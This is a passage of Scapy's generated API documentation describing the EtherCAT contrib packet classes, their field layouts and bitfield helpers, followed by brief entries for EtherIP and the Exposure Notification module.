+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatARMW                         


EtherCatARMW fields






	_cmd

	ByteField

	13



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatBRD(_pkt, /, *, _cmd=7, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L382-L389]

	Bases: EtherCatType12DLPDU

BRD - Broadcast read
(IEC 61158-5-12, sec. 5.4.1.4 tab. 16 / p. 34)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EtherCatBRD                         


EtherCatBRD fields






	_cmd

	ByteField

	7



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatBRW(_pkt, /, *, _cmd=9, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L471-L478]

	Bases: EtherCatType12DLPDU

BRW - Broadcast read write
(IEC 61158-5-12, sec. 5.4.3.3 tab. 24 / p. 39)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EtherCatBRW                         


EtherCatBRW fields






	_cmd

	ByteField

	9



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatBWR(_pkt, /, *, _cmd=8, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L427-L433]

	Bases: EtherCatType12DLPDU

BWR - Broadcast read (IEC 61158-5-12, sec. 5.4.2.4 tab. 20 / p. 39)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EtherCatBWR                         


EtherCatBWR fields






	_cmd

	ByteField

	8



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatFPRD(_pkt, /, *, _cmd=4, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L372-L379]

	Bases: EtherCatType12DLPDU

FPRD - Configured address physical read
(IEC 61158-5-12, sec. 5.4.1.3 tab. 15 / p. 33)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatFPRD                         


EtherCatFPRD fields






	_cmd

	ByteField

	4



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatFPRW(_pkt, /, *, _cmd=6, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L461-L468]

	Bases: EtherCatType12DLPDU

FPRW - Configured address physical read write
(IEC 61158-5-12, sec. 5.4.3.2 tab. 23 / p. 43)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatFPRW                         


EtherCatFPRW fields






	_cmd

	ByteField

	6



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatFPWR(_pkt, /, *, _cmd=5, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L417-L424]

	Bases: EtherCatType12DLPDU

FPWR - Configured address physical write
(IEC 61158-5-12, sec. 5.4.2.3 tab. 19 / p. 38)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatFPWR                         


EtherCatFPWR fields






	_cmd

	ByteField

	5



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatFRMW(_pkt, /, *, _cmd=14, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L501-L508]

	Bases: EtherCatType12DLPDU

FRMW - Configured address physical read multiple write
(IEC 61158-5-12, sec. 5.4.3.6 tab. 27 / p. 47)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatFRMW                         


EtherCatFRMW fields






	_cmd

	ByteField

	14



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatLRD(_pkt, /, *, _cmd=10, idx=0, adr=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L392-L399]

	Bases: EtherCatType12DLPDU

LRD - Logical read
(IEC 61158-5-12, sec. 5.4.1.5 tab. 17 / p. 36)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EtherCatLRD                         


EtherCatLRD fields






	_cmd

	ByteField

	10



	idx

	ByteField

	0



	adr

	LEIntField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatLRW(_pkt, /, *, _cmd=12, idx=0, adr=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L481-L488]

	Bases: EtherCatType12DLPDU

LRW - Logical read write
(IEC 61158-5-12, sec. 5.4.3.4 tab. 25 / p. 45)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EtherCatLRW                         


EtherCatLRW fields






	_cmd

	ByteField

	12



	idx

	ByteField

	0



	adr

	LEIntField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatLWR(_pkt, /, *, _cmd=11, idx=0, adr=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L436-L443]

	Bases: EtherCatType12DLPDU

LWR - Logical write
(IEC 61158-5-12, sec. 5.4.2.5 tab. 21 / p. 40)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EtherCatLWR                         


EtherCatLWR fields






	_cmd

	ByteField

	11



	idx

	ByteField

	0



	adr

	LEIntField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatType12DLPDU(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L281-L355]

	Bases: Packet

Type12 message base class


	
BROADCAST_ADDRESSING_DESC = [<ByteField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).idx>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).adp>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).ado>, <LEBitFieldLenField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).len>, <LEBitField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW)._reserved>, <LEBitEnumField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).c>, <LEBitEnumField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).next>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).irq>, <FieldListField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).data>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).wkc>]

	




	
LOGICAL_ADDRESSING_DESC = [<ByteField (EtherCatLRD,EtherCatLWR,EtherCatLRW).idx>, <LEIntField (EtherCatLRD,EtherCatLWR,EtherCatLRW).adr>, <LEBitFieldLenField (EtherCatLRD,EtherCatLWR,EtherCatLRW).len>, <LEBitField (EtherCatLRD,EtherCatLWR,EtherCatLRW)._reserved>, <LEBitEnumField (EtherCatLRD,EtherCatLWR,EtherCatLRW).c>, <LEBitEnumField (EtherCatLRD,EtherCatLWR,EtherCatLRW).next>, <LEShortField (EtherCatLRD,EtherCatLWR,EtherCatLRW).irq>, <FieldListField (EtherCatLRD,EtherCatLWR,EtherCatLRW).data>, <LEShortField (EtherCatLRD,EtherCatLWR,EtherCatLRW).wkc>]

	




	
PHYSICAL_ADDRESSING_DESC = [<ByteField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).idx>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).adp>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).ado>, <LEBitFieldLenField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).len>, <LEBitField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW)._reserved>, <LEBitEnumField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).c>, <LEBitEnumField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).next>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).irq>, <FieldListField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).data>, <LEShortField (EtherCatAPRD,EtherCatFPRD,EtherCatBRD,EtherCatAPWR,EtherCatFPWR,EtherCatBWR,EtherCatAPRW,EtherCatFPRW,EtherCatBRW,EtherCatARMW,EtherCatFRMW).wkc>]

	




	
aliastypes

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L315-L325]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L285-L313]

	set next attr automatically if not set explicitly by user


	Parameters:

	
	pkt – raw string containing the current layer


	pay – raw string containing the payload






	Returns:

	<new current layer> + payload














	
class scapy.contrib.ethercat.LEBitEnumField(name, default, size, enum)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L257-L263]

	Bases: LEBitField, _EnumField


	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.contrib.ethercat.LEBitField(name: str, default: I | None, size: int, tot_size: int = 0, end_tot_size: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L63-L241]

	Bases: BitField

a little endian version of the BitField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L88-L148]

	
	Parameters:

	
	pkt – packet instance the raw string s and field belongs to


	s – raw string representing the frame


	val – value






	Returns:

	final raw string, tuple (s, bitsdone, data) if in between bit field  # noqa: E501





as we don’t know the final size of the full bitfield we need to accumulate the data.  # noqa: E501
if we reach a field that ends at a octet boundary, we build the whole string  # noqa: E501






	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L150-L241]

	extract data from raw str

collect all instances belonging to the bit field set.
if we reach a field that ends at a octet boundary, dissect the whole bit field at once  # noqa: E501


	Parameters:

	
	pkt – packet instance the field belongs to


	s – raw string representing the frame -or- tuple containing raw str, number of bits and array of fields  # noqa: E501






	Returns:

	tuple containing raw str, number of bits and array of fields -or- remaining raw str and value of this  # noqa: E501














	
class scapy.contrib.ethercat.LEBitFieldLenField(name, default, size, length_of=None, count_of=None, adjust=<function LEBitFieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L244-L254]

	Bases: LEBitField


	
adjust

	




	
count_of

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L253-L254]

	




	
length_of

	








	
exception scapy.contrib.ethercat.LEBitFieldSequenceException[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L56-L60]

	Bases: Scapy_Exception

thrown by EtherCat structure tests








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.etherip


	
class scapy.contrib.etherip.EtherIP(_pkt, /, *, version=3, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/etherip.py#L14-L17]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|        RESERVED       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. EtherIP                           


EtherIP fields






	version

	BitField  (4 bits)

	3



	reserved

	BitField  (12 bits)

	0











	
payload_guess

	Possible sublayers:
Ether












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.exposure_notification

Apple/Google Exposure Notification System (ENS), formerly known as
Privacy-Preserving Contact Tracing Project.

This module parses the Bluetooth Low Energy beacon payloads used by the system.
This does not yet implement any cryptographic functionality.

More info:


